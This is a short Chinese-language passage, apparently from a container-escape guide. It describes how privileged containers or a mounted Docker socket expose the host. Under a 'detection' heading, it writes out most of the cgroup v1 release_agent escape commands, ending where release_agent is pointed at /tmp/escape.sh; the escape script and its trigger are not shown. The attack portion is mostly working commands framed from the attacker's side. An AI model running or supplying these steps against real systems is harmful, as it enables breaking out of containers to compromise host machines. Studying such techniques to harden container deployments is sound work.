当容器以 --privileged 或挂载了 /var/run/docker.sock 时，攻击者可从容器内部直接操控宿主机运行时，实现完整的逃逸链路。
一、检测危险 Capabilities 配置
bash
# 查看当前容器持有的 capabilities
capsh --print
# 若存在 CAP_SYS_ADMIN 且挂载了 cgroup v1，可尝试 release_agent 逃逸
mkdir /tmp/cgrp && mount -t cgroup -o rdma cgroup /tmp/cgrp
mkdir /tmp/cgrp/x
echo 1 > /tmp/cgrp/x/notify_on_release
echo "/tmp/escape.sh" > /tmp/cgrp/release_agent